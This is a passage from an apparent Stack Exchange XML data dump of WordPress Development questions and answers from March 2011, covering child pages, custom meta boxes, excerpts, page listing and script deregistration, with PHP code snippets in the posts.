on a pagea parent of those pages, however is there a way I can trick/fix/bodge so the pages DO apear as parents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had achieved this nicely by using pages for team members, however a custom post type was chosen instead for easy of use for the administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys + girls!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditorDisplayName="" LastEditDate="2011-03-28T19:00:27.047" LastActivityDate="2011-03-28T19:37:12.270" Title="Integrating a custom post type into a page hierarchy" Tags="&lt;custom-post-types&gt;&lt;page&gt;&lt;hierarchical&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="13309" PostTypeId="2" ParentId="13307" CreationDate="2011-03-28T18:22:03.470" Score="1" ViewCount="" Body="&lt;p&gt;Using the &quot;more&quot; tag does not create an excerpt. It simply creates a &quot;Read More&quot; link when displaying the_content() on index pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpts are created/displayed as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display an excerpt, your template file needs to call &quot;the_excerpt()&quot; rather than &quot;the_content()&quot;. Note: you use the equivalent $post-&gt;post_excerpt, which should also work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;the_excerpt()&quot; template tag then displays the excerpt, which is created as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) By entering excerpt content into the &quot;Excerpt&quot; field on the Edit Post/Edit Page screen.&#xA;2) Automatically, based on number of characters, if no content is added to the &quot;Excerpt&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay so I totally missed this at first. Only &lt;em&gt;Posts&lt;/em&gt; have the &quot;excerpt&quot; field. &lt;em&gt;Pages&lt;/em&gt; don't have the &quot;excerpt&quot; field. So, $post-&gt;post_excerpt will never be populated for Pages (I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try running &quot;setup_postdata( $pageChild )&quot; inside your foreach loop, and then replacing &quot;$pageChild-&gt;post_excerpt&quot; with &quot;get_the_excerpt()&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $pageChildren as $pageChild ) {&#xA;    setup_postdata( $pageChild );&#xA;    echo '&amp;lt;p&amp;gt;And the title is: '. $pageChild-&amp;gt;post_title.'&amp;lt;/p&amp;gt;';&#xA;        print_r($pageChild);&#xA;            echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;' . get_permalink($pageChild-&amp;gt;ID) . '&quot;&amp;gt;' . get_the_excerpt() .'&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt; ';&#xA;        echo '&amp;lt;hr /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that work?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-28T19:15:27.290" LastActivityDate="2011-03-28T19:15:27.290" CommentCount="7" />
  <row Id="13310" PostTypeId="2" ParentId="13305" CreationDate="2011-03-28T18:38:31.837" Score="1" ViewCount="" Body="&lt;p&gt;I have a handy little custom made conditional function that would do the job for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_child_page($page = NULL){&#xA;    global $post;&#xA;    if ($page == NULL){&#xA;        $p = get_post($post-&amp;gt;ID);&#xA;        if ($p-&amp;gt;post_parent  &amp;gt; 0 ){&#xA;            return true;&#xA;        }else{&#xA;            return false;&#xA;        }&#xA;    }&#xA;    $args = array( 'child_of' =&amp;gt; (int)$page);&#xA;    $pages = get_pages($args); &#xA;    foreach ($pages as $p){&#xA;        if ($p-&amp;gt;ID = $post-&amp;gt;ID){&#xA;            return true;&#xA;            break;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_child_page()){&#xA;    //this page has a parent page&#xA;}&#xA;&#xA;if (is_child_page(23)){&#xA;    //this page is a child page of the page with the ID of 23&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now you ask how can this help you?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have this function saved in your theme's functions.php file&#xA;edit your theme's page.php file and add at the very top something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_child_page(12)){&#xA;    include (TEMPLATEPATH . '/page-about-us-all.php');&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you are done!!!&#xA;note: this code is assuming that your about page id is: 12 and your theme file is named: page-about-us-all.php&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T18:38:31.837" />
  <row Id="13311" PostTypeId="2" ParentId="13293" CreationDate="2011-03-28T18:49:15.993" Score="1" ViewCount="" Body="&lt;p&gt;there is you answer, in your code where it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// Do something with $mydata  probably using add_post_meta(), update_post_meta(), or &#xA;     a custom table (see Further Reading section below)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you need to actually insert/update the data to the database&#xA;so add something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;update_post_meta($post-&amp;gt;ID, 'myplugin_new_field', $mydata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the data will be saved so you could get it using your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta($post-&amp;gt;ID, 'myplugin_new_field'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the only other change you need is in the function that displays the metabox change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot; value=&quot;whatever&quot; size=&quot;25&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot; value=&quot;'.get_post_meta($post-&amp;gt;ID, 'myplugin_new_field',true).'&quot; size=&quot;25&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question in the comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to save a select list you save it just the save way as a text input and to display the previously selected option in the meta box you just loop over the option and see what was selected and you add &quot;selected&quot; attribute. &#xA;for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get last selected value if exists&#xA;$selected = get_post_meta($post-&amp;gt;ID, 'myplugin_new_select_field',true);&#xA;echo '&amp;lt;select name=&quot;myplugin_new_select_field&quot;&amp;gt;';&#xA;$x = 0;&#xA;while ($x &amp;lt; 4){&#xA;    echo '&amp;lt;option value=&quot;'.$x.'&quot;';&#xA;    //check if the last value is the same is current value.&#xA;    if ($x == $selected)&#xA;        echo ' selected=&quot;selected&quot;';&#xA;    echo '&amp;gt;'.$x.'&amp;lt;/option&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/select&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-30T13:28:16.363" LastActivityDate="2011-03-30T13:28:16.363" CommentCount="9" />
  <row Id="13312" PostTypeId="1" AcceptedAnswerId="13313" CreationDate="2011-03-28T18:50:17.683" Score="0" ViewCount="100" Body="&lt;pre&gt;&lt;code&gt;wp_list_pages('title_li=&amp;amp;depth=&amp;amp;exclude='); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lists all pages of my site. If there are childpages of a certain page the output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/about&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul class=&quot;children&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;page_item page-item-29&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;http://domain.com/about/subpage&quot; title=&quot;Subpage&quot;&amp;gt;Subpage&amp;lt;/a&amp;gt;&#xA;            &amp;lt;ul class=&quot;children&quot;&amp;gt;&#xA;                &amp;lt;li class=&quot;page_item page-item-39&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/about/subpage/subsub&quot; title=&quot;SubSub&quot;&amp;gt;SubSub&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a simple trick to print childpages without seperate 's so that the output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/about&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;page_item page-item-29&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/about/subpage&quot; title=&quot;Subpage&quot;&amp;gt;Subpage&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;page_item page-item-39&quot;&amp;gt;&amp;lt;a href=&quot;http://domain.com/about/subpage/subsub&quot; title=&quot;SubSub&quot;&amp;gt;SubSub&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need that version just for a specific part of my page so it shouldn't be a filter that is added to wp_list_pages().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-28T19:19:05.930" Title="list child-pages as normal pages?" Tags="&lt;pages&gt;&lt;page-specific-settings&gt;" AnswerCount="3" />
  <row Id="13313" PostTypeId="2" ParentId="13312" CreationDate="2011-03-28T18:57:30.993" Score="0" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_pages()&lt;/strong&gt;&lt;/a&gt; function, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypages = get_pages();&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach($mypages as $page){     &#xA;    echo '&amp;lt;li class=&quot;page_item page-item-'.$page-&amp;gt;ID.'&quot;&amp;gt;&amp;lt;a href=&quot;'.get_page_link($page-&amp;gt;ID).'&quot;&amp;gt;'.$page-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T18:57:30.993" CommentCount="1" />
  <row Id="13314" PostTypeId="2" ParentId="13312" CreationDate="2011-03-28T18:57:55.520" Score="0" ViewCount="" Body="&lt;p&gt;Not by default. wp_list_pages() does not have a &quot;hierarchical&quot; argument. It will always output Pages as hierarchical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify the CSS, such that the child ULs and LIs appear identical to the parent ULs/LIs, but the pages will still be listed hierarchically.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T18:57:55.520" />
  <row Id="13315" PostTypeId="2" ParentId="12700" CreationDate="2011-03-28T19:05:44.237" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.searchblox.com/searchblox-wordpress-plugin-now-available&quot; rel=&quot;nofollow&quot;&gt;SearchBlox&lt;/a&gt; which provides a plugin to connect the search server with Wordpress&lt;/p&gt;&#xA;" OwnerUserId="4272" LastActivityDate="2011-03-28T19:05:44.237" CommentCount="1" />
  <row Id="13316" PostTypeId="2" ParentId="13312" CreationDate="2011-03-28T19:19:05.930" Score="1" ViewCount="" Body="&lt;p&gt;Actually, I believe that passing &lt;code&gt;depth=-1&lt;/code&gt; to &lt;strong&gt;wp_list_pages()&lt;/strong&gt; should list all pages as a flat, non-nested list. It won't preserve the order of sub-pages, though, so you're not guaranteed that &quot;Subpage&quot; will immediately follow &quot;About&quot; in your example... Everything will be ordered by the field selected in the &lt;code&gt;sort_column&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-28T19:19:05.930" CommentCount="1" />
  <row Id="13317" PostTypeId="2" ParentId="13308" CreationDate="2011-03-28T19:37:12.270" Score="3" ViewCount="" Body="&lt;p&gt;When Working with pages you can select a parent page and that value is saved as the parent page id number in the child page's post_parent field in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case you are using a custom post type so you would need to create your own metabox for the parent page , something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define the custom box */&#xA;add_action('add_meta_boxes', 'child_cpt_add_custom_box');&#xA;&#xA;/* Adds a box to the main column on the custom post type edit screens */&#xA;function child_cpt_add_custom_box() {&#xA;    add_meta_box('child_cpt', __( 'My child_cpt parent'),'team_member_inner_custom_box','team_member');&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function team_member_inner_custom_box() {&#xA;    global $post;&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename(__FILE__), 'team_member_inner_custom_box' );&#xA;    echo 'Select the parent page';&#xA;    $mypages = get_pages();&#xA;    echo '&amp;lt;select name=&quot;cpt_parent&quot;&amp;gt;';&#xA;    foreach($mypages as $page){     &#xA;        echo '&amp;lt;option value=&quot;'.$page-&amp;gt;ID.'&quot;';&#xA;        if ($page-&amp;gt;ID == $post-&amp;gt;post_parent) {echo ' selected';}&#xA;        echo '&amp;gt;&quot;'.$page-&amp;gt;post_title.'&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;/* Do something with the data entered */&#xA;add_action('wp_insert_post_data', 'myplugin_save_postdata');&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $data, $postarr ) {&#xA;    global $post;&#xA;      // verify this came from the our screen and with proper authorization,&#xA;      // because save_post can be triggered at other times&#xA;&#xA;      if ( !wp_verify_nonce( $_POST['team_member_inner_custom_box'], plugin_basename(__FILE__) ) )&#xA;          return $data;&#xA;&#xA;      // verify if this is an auto save routine. &#xA;      // If it is our form has not been submitted, so we dont want to do anything&#xA;      if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;          return $data;&#xA;      // OK, we're authenticated: we need to find and save the data&#xA;&#xA;     if ($post-&amp;gt;post_type == &quot;team_member&quot;)}&#xA;    $data['post_parent'] = $_POST['cpt_parent'];&#xA;}&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it has nothing to do with &lt;code&gt;register_post_type&lt;/code&gt; you are &quot;tricking WordPress to thing that this is a child page of another post type (page).&#xA;let me know if this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T19:37:12.270" CommentCount="2" />
  <row Id="13318" PostTypeId="2" ParentId="8779" CreationDate="2011-03-28T19:42:15.280" Score="0" ViewCount="" Body="&lt;p&gt;The new JetPack Plugin places its menu link immediately below the Dashboard link. It does so by &lt;a href=&quot;http://plugins.svn.wordpress.org/jetpack/trunk/jetpack.php&quot; rel=&quot;nofollow&quot;&gt;setting its menu order to 0, by filtering the $menu_order array&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jetpack_menu_order( $menu_order ) {&#xA;        $jp_menu_order = array();&#xA;&#xA;        foreach ( $menu_order as $index =&amp;gt; $item ) {&#xA;            if ( $item != 'jetpack' )&#xA;                $jp_menu_order[] = $item;&#xA;&#xA;            if ( $index == 0 )&#xA;                $jp_menu_order[] = 'jetpack';&#xA;        }&#xA;&#xA;        return $jp_menu_order;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity, what would happen if you tried 0 as menu_position?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T19:42:15.280" />
  <row Id="13319" PostTypeId="1" AcceptedAnswerId="13331" CreationDate="2011-03-28T19:46:46.357" Score="0" ViewCount="473" Body="&lt;p&gt;hey guys,&#xA;quick question. I'm using jquery for my current project (the latest release). A few plugins I'm using are using jquery as well and they are inserted through wp_head(). Since I want my website to ber fairly slim and fast this redundant scripts should be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way I can filter for the string &quot;jquery.js&quot; in wp_head() and remove the  tag that embeds the script?&#xA;As you can see in the following screenshot jquery.js wouldn't be needed. Can I remove that with a hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KbzBR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-08-08T12:25:46.623" Title="wp_head() remove redundant scripts?" Tags="&lt;jquery&gt;&lt;wp-head&gt;&lt;removal&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="13320" PostTypeId="2" ParentId="7790" CreationDate="2011-03-28T19:49:23.017" Score="1" ViewCount="" Body="&lt;p&gt;If you need to enqueue a CSS file on the front end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Register the style via wp_register_style( $handle, $src )&#xA;2) Hook wp_enqueue_style( $handle ) into the wp_print_styles hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to enqueue a script on the front end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Register the style via wp_register_script( $handle, $src )&#xA;2) Hook wp_enqueue_script( $handle ) into the wp_head hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I would have expected the wp_print_styles hook for this, but this hook apparently does not work as expected.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T19:49:23.017" />
  <row Id="13321" PostTypeId="2" ParentId="13286" CreationDate="2011-03-28T19:54:15.173" Score="0" ViewCount="" Body="&lt;p&gt;You ca use the &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tag&lt;/a&gt; &lt;code&gt;is_admin()&lt;/code&gt; to check if you are on the front-end or back-end like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_adminbar_currentsite_menu() {&#xA;    global $bp;&#xA;    if (!is_admin()){&#xA;        ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;!-- Insert your link url or relative url, and your link text below --&amp;gt;&#xA;        &amp;lt;a href=&quot;http://EXAMPLE.COM&quot;&amp;gt;EXAMPLE LINK TEXT&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;// Call The Function Above&#xA;add_action('bp_adminbar_menus', 'bp_adminbar_currentsite_menu', 999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-28T19:54:15.173" CommentCount="1" />
  <row Id="13322" PostTypeId="2" ParentId="9982" CreationDate="2011-03-28T19:58:36.367" Score="0" ViewCount="" Body="&lt;p&gt;You can also try the &lt;a href=&quot;http://www.searchblox.com/searchblox-wordpress-plugin-now-available&quot; rel=&quot;nofollow&quot;&gt;SearchBlox&lt;/a&gt; plugin for WordPress.&lt;/p&gt;&#xA;" OwnerUserId="4272" LastActivityDate="2011-03-28T19:58:36.367" />
  <row Id="13323" PostTypeId="2" ParentId="13319" CreationDate="2011-03-28T20:01:45.350" Score="0" ViewCount="" Body="&lt;p&gt;You can use wp_deregister_style() and wp_deregister_script() to clean up overly aggressive Plugin script/style injections. For example, here's how I &quot;optimize&quot; Contact Form 7's style/script injections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Optimize Contact Form 7&#xA;function deregister_cf7_js() {&#xA;   if ( ! is_page( 'contact' ) ) {&#xA;    wp_deregister_script( 'contact-form-7' );&#xA;     }&#xA;}&#xA;add_action( 'wp_print_scripts', 'deregister_cf7_js', 100 );&#xA;&#xA;function deregister_ct7_styles() {&#xA;   if ( ! is_page( 'contact' ) ) {&#xA;        wp_deregister_style( 'contact-form-7' );&#xA;    }&#xA;}&#xA;add_action( 'wp_print_styles', 'deregister_ct7_styles', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know which Plugins are the culprits, you can use a similar approach.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T20:01:45.350" />
  <row Id="13324" PostTypeId="2" ParentId="8554" CreationDate="2011-03-28T20:10:26.890" Score="0" ViewCount="" Body="&lt;p&gt;BackupBuddy works flawlessly for backing up to AmazonS3. FYI: it is a commercial Plugin, though.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T20:10:26.890" />
  <row Id="13325" PostTypeId="2" ParentId="6399" CreationDate="2011-03-28T20:44:01.897" Score="2" ViewCount="" Body="&lt;p&gt;This is actually not all that hard to do using the imap functions in PHP: &lt;a href=&quot;http://php.net/manual/en/book.imap.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/book.imap.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, he has some script somewhere which runs every hour or so. I have not seen this script, but I can venture a good guess about how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it connects to his email system, probably using imap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, it performs some set of custom rules to divide new emails into high and low priorities in some manner. This much is obvious from the contact page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, it gets the counts and stores them in a database table custom made for storing this count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display the graphs, I wrote some queries in a Page Template that connects to that custom table, gets the counts for the last month, does a bunch of math and reformatting of the numbers, and finally produces a URL to the Google Chart API with the numbers to display the graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very minimal knowledge of PHP and a server with the php_imap extension is all that's really required to script your own email. This is a highly instructive read if you've never taken a look at it before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/book.imap.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/book.imap.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-28T20:44:01.897" CommentCount="1" />
  <row Id="13326" PostTypeId="1" AcceptedAnswerId="13328" CreationDate="2011-03-28T20:56:28.693" Score="0" ViewCount="124" Body="&lt;p&gt;I'm working with a blank theme and my nav.php looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;next-posts&quot; style=&quot;float: left;&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;prev-posts&quot; style=&quot;float: right;&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;My question is, how do I change the text links into image links?&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2011-03-28T21:33:39.283" Title="adding images to wordpress pagination?" Tags="&lt;images&gt;&lt;pagination&gt;&lt;links&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="13327" PostTypeId="1" AcceptedAnswerId="13514" CreationDate="2011-03-28T21:23:00.983" Score="0" ViewCount="110" Body="&lt;p&gt;I have a main page that consists of 7 categories being output by wp_list_categories, each li specifically includes one ID. These categories are directed to a category-page.php specifically built for each category. Now, each category has sub categories. So on each of the category pages, I want to build out custom queries for each sub category. Example: the Weightloss category on the main page, links to the category-weightloss.php page. Within Weightloss, there are six sub categories. What is the best way, to create six different queries, in seperate div's, so I can style them? I have looked over WP_Query, but I am not sure of the best, and most appropriate, way to do this.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-06-28T22:18:42.663" Title="Creating mulitple loops in a sub-category page" Tags="&lt;custom-loop&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="13328" PostTypeId="2" ParentId="13326" CreationDate="2011-03-28T21:33:39.283" Score="0" ViewCount="" Body="&lt;p&gt;Maybe &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;my (edu) plugin&lt;/a&gt; can help you understanding the ways that are possible to display pagination a little better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated it after reading your Q. You can now more easily style your links. Just add your buttons as background-images to the stylesheet.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-28T21:33:39.283" />
  <row Id="13329" PostTypeId="1" AcceptedAnswerId="13335" CreationDate="2011-03-28T21:50:17.170" Score="0" ViewCount="118" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/admin_footer-%7B%24hook_suffix%7D&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;admin_footer-{$hook_suffix}&lt;/code&gt;&lt;/a&gt; to selectively print scripts on the new post page and comments page. This hook is depreciated in 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/admin_print_scripts-%7B%24hook_suffix%7D?version=3.1&amp;amp;file=wp-admin/admin-header.php&quot; rel=&quot;nofollow&quot;&gt;see&lt;/a&gt; there's an &lt;code&gt;admin_print_scripts-{$hook_suffix}&lt;/code&gt; but this does not print to the footer, rather to the header before any jQuery or other stuff is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I selectively print scripts to the footer of certain admin pages?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-31T17:32:11.707" Title="How can I selectively print scripts to the footer of certain admin pages?" Tags="&lt;scripts&gt;&lt;footer&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13330" PostTypeId="1" AcceptedAnswerId="13343" CreationDate="2011-03-28T22:01:23.073" Score="0" ViewCount="149" Body="&lt;p&gt;The original urls for users look like &lt;code&gt;/author/login/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to replace login by user's id?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my dream urls should become to &lt;code&gt;/users/34/&lt;/code&gt; (34 is user id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2011-04-17T14:23:34.663" Title="Change author permalink" Tags="&lt;permalinks&gt;&lt;author&gt;&lt;mod-rewrite&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="13331" PostTypeId="2" ParentId="13319" CreationDate="2011-03-28T22:04:17.180" Score="0" ViewCount="" Body="&lt;p&gt;There's no filter that covers the entire output produced during wp_head(). You would have to use a fairly complicated process of output buffering starting before wp_head, then filtering out what you don't want afterwards, before releasing the buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume that you're dealing with plugins that have registered their scripts properly&gt; Try adding this to your functions.php and then viewing source of one of your pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'debug_scripts_queued');&#xA;&#xA;function debug_scripts_queued() {&#xA;    global $wp_scripts;&#xA;    echo '&amp;lt;!--- SCRIPTS QUEUED'.&quot;\r\n&quot;;&#xA;    foreach ( $wp_scripts-&amp;gt;queue as $script ) {&#xA;        echo &quot;\r\nSCRIPT: &quot;.$script.&quot;\r\n&quot;;&#xA;        $deps = $wp_scripts-&amp;gt;registered[$script]-&amp;gt;deps;&#xA;        if ($deps) {&#xA;            echo &quot;DEPENDENCIES: &quot;;&#xA;            print_r($deps);&#xA;        }&#xA;    }&#xA;    echo &quot;\r\n---&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will list all the scripts actually registered, and their 